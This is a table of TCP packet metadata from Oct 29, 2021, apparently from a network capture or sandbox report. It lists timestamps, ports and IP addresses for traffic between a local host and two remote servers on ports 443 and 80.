Oct 29, 2021 14:10:20.075936079 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.075999975 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.076062918 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.076143026 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.076224089 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.076289892 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.076343060 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.076416969 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.076494932 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.076565981 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.076639891 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.076693058 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.076798916 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.076863050 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.076997042 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.077064037 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.077172041 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.077245951 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.077313900 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.077379942 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.077481985 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.077547073 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.077622890 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.077692032 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.077770948 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.077836990 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.077896118 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.077955961 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.078067064 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.078131914 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.078217983 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.078279972 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.078356981 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.078423023 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.078738928 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.078763008 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.078811884 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.078814983 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.087486982 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.087502956 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.087542057 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.087615967 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.087629080 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.087649107 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.087738991 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.087753057 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.087773085 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.087784052 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.087798119 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.087806940 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.087830067 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.087838888 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.087852955 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.087860107 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.087910891 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.087923050 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.087940931 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.087982893 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.094172955 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.094988108 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.118828058 CEST	80	49827	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.119194031 CEST	49827	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.122021914 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.122112036 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.122168064 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.122205973 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.122229099 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.122340918 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.122400999 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.122416973 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.122441053 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.122494936 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.122509003 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.122613907 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.122684002 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.122697115 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.122718096 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.122771025 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.122783899 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.122814894 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.122894049 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.122983932 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.123054028 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.123066902 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.123080015 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.123155117 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.123229980 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.123241901 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.123275042 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.123471975 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.123531103 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.123547077 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.123558998 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.123569012 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.123629093 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.123641968 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.123758078 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.123821974 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.123841047 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.123872042 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.123928070 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.123940945 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.124063015 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.124118090 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.124130011 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.124151945 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.124207973 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.124222040 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.124238968 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.124340057 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.124397039 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.124408007 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.124430895 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.124461889 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.124475002 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.124492884 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.124602079 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.124655008 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.124670029 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.124682903 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.124691963 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.124748945 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.124762058 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.124900103 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.124990940 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.125004053 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.125025988 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.125082970 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.125094891 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.125195026 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.125264883 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.125276089 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.125297070 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.125336885 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.125447989 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.125514984 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.125530005 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.125550985 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.125590086 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.125703096 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.125766039 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.125778913 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.125801086 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.125859022 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.125869036 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.125957012 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.126022100 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.126034975 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.126055956 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.126106024 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.128428936 CEST	49827	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.130579948 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.130594015 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.130615950 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.130707026 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.130719900 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.130744934 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.130753994 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.130764008 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.130815029 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.130826950 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.130845070 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.130853891 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.130896091 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.130994081 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.132864952 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.133266926 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.141841888 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.141937971 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.141942978 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.141958952 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.142008066 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.142057896 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.142121077 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.142601967 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.142680883 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.142699003 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.142771006 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.143305063 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.143383980 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.143416882 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.143482924 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.143759012 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.143831968 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.143851995 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.143929005 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.144485950 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.144572020 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.144576073 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.144598961 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.144638062 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.145226955 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.145307064 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.145307064 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.145328045 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.145373106 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.145625114 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.145709038 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.145715952 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.145734072 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.145780087 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.146053076 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.146126986 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.146131992 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.146152020 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.146197081 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.146629095 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.146706104 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.146706104 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.146724939 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.146770954 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.147126913 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.147203922 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.147205114 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.147223949 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.147269964 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.147676945 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.147749901 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.147753954 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.147778034 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.147818089 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.158385038 CEST	49828	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.185142040 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185197115 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185261965 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.185302019 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185323954 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.185329914 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185383081 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185398102 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.185412884 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185446024 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.185483932 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185529947 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185544014 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.185558081 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185594082 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.185621023 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185666084 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185682058 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.185694933 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185738087 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.185776949 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185826063 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185841084 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.185853958 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185895920 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.185929060 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185975075 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.185995102 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.186006069 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186049938 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.186069012 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186110973 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186131954 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.186146021 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186197996 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.186228037 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186290026 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.186322927 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186388016 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.186415911 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186461926 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186485052 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.186496973 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186536074 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.186553955 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186598063 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186625957 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.186638117 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186672926 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.186690092 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186707020 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.186718941 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186769962 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186773062 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.186826944 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186870098 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.186872959 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186887026 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.186908960 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.186984062 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.187001944 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.187016010 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.187055111 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.187071085 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.187108040 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.187119007 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.187136889 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.187187910 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.189049006 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.192352057 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.197329044 CEST	80	49827	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.222057104 CEST	80	49828	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.222486019 CEST	49828	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.222600937 CEST	49828	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.225323915 CEST	49828	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.286288023 CEST	80	49828	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.289028883 CEST	80	49828	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.361299038 CEST	80	49828	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.365299940 CEST	49828	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.365411997 CEST	49828	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.429912090 CEST	80	49828	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.489289999 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.559396029 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.560384035 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.560482979 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.672056913 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.681848049 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.681906939 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.682008028 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.682471037 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.682487011 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.721141100 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.721512079 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.721544981 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.721570969 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.721597910 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.721622944 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.721647978 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.721662045 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.721726894 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.721735954 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.721788883 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.721807957 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.721854925 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.721873045 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.721935987 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.721957922 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.724586010 CEST	49830	443	192.168.2.3	162.159.130.233
Oct 29, 2021 14:10:20.724618912 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.777642965 CEST	443	49830	162.159.130.233	192.168.2.3
Oct 29, 2021 14:10:20.777811050 CEST	443	49830	162.159.130.233	192.168.2.3
